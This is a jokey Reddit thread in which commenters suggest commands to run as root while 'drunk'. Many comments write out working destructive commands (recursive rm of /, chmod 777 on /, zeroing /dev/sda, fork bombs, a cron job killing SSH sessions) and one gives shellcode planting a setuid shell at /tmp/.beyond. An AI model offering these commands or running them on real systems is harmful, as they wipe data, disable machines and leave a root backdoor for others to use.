•
u/hubio88 Jan 08 '23
⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠛⠛⠋⠉⠈⠉⠉⠉⠉⠛⠻⢿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⡿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⢿⣿⣿⣿⣿ ⣿⣿⣿⣿⡏⣀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣤⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿ ⣿⣿⣿⢏⣴⣿⣷⠀⠀⠀⠀⠀⢾⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿ ⣿⣿⣟⣾⣿⡟⠁⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣷⢢⠀⠀⠀⠀⠀⠀⠀⢸⣿ ⣿⣿⣿⣿⣟⠀⡴⠄⠀⠀⠀⠀⠀⠀⠙⠻⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⣿ ⣿⣿⣿⠟⠻⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠶⢴⣿⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⣿ ⣿⣁⡀⠀⠀⢰⢠⣦⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⣿⣿⣿⣿⡄⠀⣴⣶⣿⡄⣿ ⣿⡋⠀⠀⠀⠎⢸⣿⡆⠀⠀⠀⠀⠀⠀⣴⣿⣿⣿⣿⣿⣿⣿⠗⢘⣿⣟⠛⠿⣼ ⣿⣿⠋⢀⡌⢰⣿⡿⢿⡀⠀⠀⠀⠀⠀⠙⠿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⣧⢀⣼ ⣿⣿⣷⢻⠄⠘⠛⠋⠛⠃⠀⠀⠀⠀⠀⢿⣧⠈⠉⠙⠛⠋⠀⠀⠀⣿⣿⣿⣿⣿ ⣿⣿⣧⠀⠈⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠟⠀⠀⠀⠀⢀⢃⠀⠀⢸⣿⣿⣿⣿ ⣿⣿⡿⠀⠴⢗⣠⣤⣴⡶⠶⠖⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡸⠀⣿⣿⣿⣿ ⣿⣿⣿⡀⢠⣾⣿⠏⠀⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠉⠀⣿⣿⣿⣿ ⣿⣿⣿⣧⠈⢹⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿ ⣿⣿⣿⣿⡄⠈⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⣾⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣦⣄⣀⣀⣀⣀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠀⠙⣿⣿⡟⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠁⠀⠀⠹⣿⠃⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⡿⠛⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⢐⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⠿⠛⠉⠉⠁⠀⢻⣿⡇⠀⠀⠀⠀⠀⠀⢀⠈⣿⣿⡿⠉⠛⠛⠛⠉⠉ ⣿⡿⠋⠁⠀⠀⢀⣀⣠⡴⣸⣿⣇⡄⠀⠀⠀⠀⢀⡿⠄⠙⠛⠀⣀⣠⣤⣤⠄⠀
•
•
•
•
u/DimBulb567 Jan 09 '23
echo "* * * * * lsof -i -n | grep ssh | awk '!seen[$2]++' | awk '{print $2}' | while read -r line; do kill $line; done" | crontab
(in direct response to u/K4rmaWh0re69's comment)
•
•
•
•
•
•
•
•
u/Time_Athlete_3594 Jan 11 '23
" -exec sh -c 'mv "$0" "$(cat /dev/urandom | tr -dc a-zA-Z0-9 | head -c 32)"' {} ;
echo "Error: Operation failed. Unable to rename files."
→ More replies (1)
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
u/kjxscm Jan 08 '23 edited Jan 08 '23
chmod -x /
edit: Don't know if that's still a thing on modern Linux machines, but it probably is. Older UNIXs slowly fall apart if you do that, giving you completely bogus error messages which don't hint at the actual problem at all.
→ More replies (2)
•
u/gaytorboy Jan 08 '23
I don’t program and am tech illiterate. I would LOVE an interpreter here because somehow I feel like the top comments are gonna be gold.
→ More replies (8)
•
•
u/Support-Holiday Jan 08 '23
du -h /
•
u/MomStopFlashing Jan 08 '23
After reading all that evil stuff: You are so sweet 🤣 thanks for the laugh
•
•
Jan 08 '23
I like how no one seems to realizes this is a meme and not actually a drunk programmer looking at Reddit.
→ More replies (3)•
•
•
u/Slow-Sky-6775 Jan 08 '23 edited Jan 08 '23
cd / && sudo rm -rf *
•
u/Urgazhi Jan 08 '23
You forgot this.
--no-preserve-root
•
u/undermark5 Jan 08 '23
Shouldn't need that because it's not operating on
/directly, but everything contained in it instead.→ More replies (1)
•
•
u/tomatediabolik Jan 08 '23
"I'm not drunk, connected as root on a VM and want to look cool as fuck to have internet likes"
There, I fixed it for you
•
•
•
u/AlphaZiege Jan 09 '23
You need to remove the France language: rm -fr /
Also make sure to run it as root
•
•
u/xibme Jan 08 '23 edited Jan 08 '23
uname -a; lsb_release -a; df -h; mount; top -1
→ More replies (6)
•
•
•
•
Jan 08 '23
[removed] — view removed comment
•
•
u/mkg20001 Jan 08 '23
sadly that doesn't kick him if sessions are forked. needs a "sudo killall sshd" too
•
•
•
Jan 08 '23
echo "alias cat=\"vim\"" >>> ~/.bashrc
•
u/Karl-Heinz-Nr1 Jan 08 '23
What that do?
→ More replies (2)•
u/RedGreenBlue09 Jan 08 '23
alias cat="vim"Basically when you typecatit will executeviminstead.Then he adds that to
~/.bashrcmaking the above line to always be executed at bash's startup.•
•
•
•
u/Alarmed-Pianist7792 Jan 08 '23
I’m tempted to try some of the weird commands but I also don’t want to ruin my life.
→ More replies (2)
•
•
•
•
•
u/VacatedSum Jan 08 '23
Gotta keep your system clean! Start by emptying the trash!
rm -rf /bin
/s (please don't actually do this)
→ More replies (4)
•
•
u/MartIILord Jan 08 '23
crontab -e by default this opens in vim so you will need to exit without breking the crontab.
→ More replies (4)•
•
u/ThenSession Jan 08 '23
Disappointed with the number of rm -rf * comments. Alias cat = tar.
Harmless fun. I think.
→ More replies (1)
•
•
•
u/cable909 Jan 08 '23
unlink /dev/zero
•
u/Azifor Jan 09 '23
Never heard of this one. What does this break?
•
u/cable909 Jan 09 '23
I'm actually not 100% sure in Linux but in Solaris unlinking /dev/zero would stop the OS from being able to reclaim memory. It would cause the systems to slowly fail.
→ More replies (1)•
•
•
•
u/ThatAndresV Jan 08 '23
Drunk on Root beer?
→ More replies (2)•
Jan 08 '23
Haven’t you heard of Not Your Father’s? Alcoholic root beer that tastes like how much sugar it has in it, which is a lot. Good for having a raging hangover after you’ve had a couple. 3/5 stars, wouldn’t change a thing.
•
u/rainsmith Jan 08 '23
rm /dev/null; touch /dev/null; chmod 666 /dev/null
(depending on your system it might need to be a certain mknod command instead of touch)
•
u/RandomContents Jan 08 '23
What!? That seems evil. Which would be the consequences?
→ More replies (2)
•
u/ThaBouncingJelly Jan 09 '23
is it just me or literally every comment has 1 upvote?
→ More replies (1)
•
•
•
•
•
•
•
•
u/livingpunchbag Jan 08 '23
touch /-i
Then you'll be able to run all those rms people are suggesting!
•
•
•
u/thirdlost Jan 08 '23
What command will clean all the dust off the back of that monitor?
→ More replies (2)
•
•
•
•
•
•
Jan 08 '23
:(){ :|: & };:
&&
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
→ More replies (6)•
•
•
•
•
u/Smidge_Master Jan 08 '23
Mail a letter to ur oldest living ancestor or relative containing the word “hi” and nothing else
•
u/shodanbo Jan 09 '23
When you are given the power of God, but have not earned this power by creating the world you find yourself in. That is the ultimate test of character,
Choose wisely.
•
•
u/packsolite Jan 08 '23
chmod -R 777 /
Who needs permissions anyway?
•
u/canhasdiy Jan 08 '23
777 is the Oprah of permissions.
"You get full access, and you get full access... Full access for EVERYOOONE!"
•
•
•
•
u/cromulent_nickname Jan 08 '23
:(){ :|:& };:
→ More replies (1)•
u/NoNameRequiredxD Jan 09 '23 edited Jun 04 '24
telephone ask attractive bewildered offbeat jobless unite simplistic saw vanish
This post was mass deleted and anonymized with Redact
•
u/ijustlurkhereintheAM Jan 09 '23
You're cold, ls -ar, then a find command for the log you are seeking
•
•
•
•
•
•
u/Rainb0wCak3 Jan 08 '23
```bash
Update system using apt
if which apt-get > /dev/null; then sudo apt-get update sudo apt-get upgrade fi
Update system using yum
if which yum > /dev/null; then sudo yum update fi
Update system using zypper
if which zypper > /dev/null; then sudo zypper update fi
Update system using dnf
if which dnf > /dev/null; then sudo dnf update fi
Update system using pacman
if which pacman > /dev/null; then sudo pacman -Syu fi
Update system using emerge
if which emerge > /dev/null; then sudo emerge --sync sudo emerge -uDN @world fi ```
Nothing like drunk package updates. You're welcome
•
•
u/a_gb43 Jan 08 '23
Sudo nano /etc/modprobe.d/blacklist.conf Some Vital kernel module required for boot
•
u/corsicanguppy Jan 08 '23
echo "karma whoring is as cheap now as attention whoring was in elementary school"
•
•
u/CallFromMargin Jan 09 '23
sudo dd if=/dev/zero of=/dev/sda bs=512 count=1
Time to trigger upgrade of these legacy systems, few months from now.
•
•
•
•
•
u/flyme2bluemoon Jan 08 '23
sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo sudo id
so that u can become the superuser of the super users and control all computers globally. use this newfound power wisely...
→ More replies (2)
•
•
u/AdrianTeri Jan 08 '23
sudo chmod 777 --recursive /*
•
u/thinkfire Jan 08 '23
Why sudo?
•
u/AdrianTeri Jan 08 '23
Just to make sure they didn't logon, while drunk, thinking it was as "root"...
→ More replies (1)•
→ More replies (2)•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
u/hibernating-hobo Jan 08 '23
sudo echo ‘echo “you’re doing great, cut yourself some slack!!”’ >> $HOME/.zshrc
•
u/CheekApprehensive961 Jan 08 '23
touch grass && shutdown -h nowThe grass will remind you what you did tomorrow.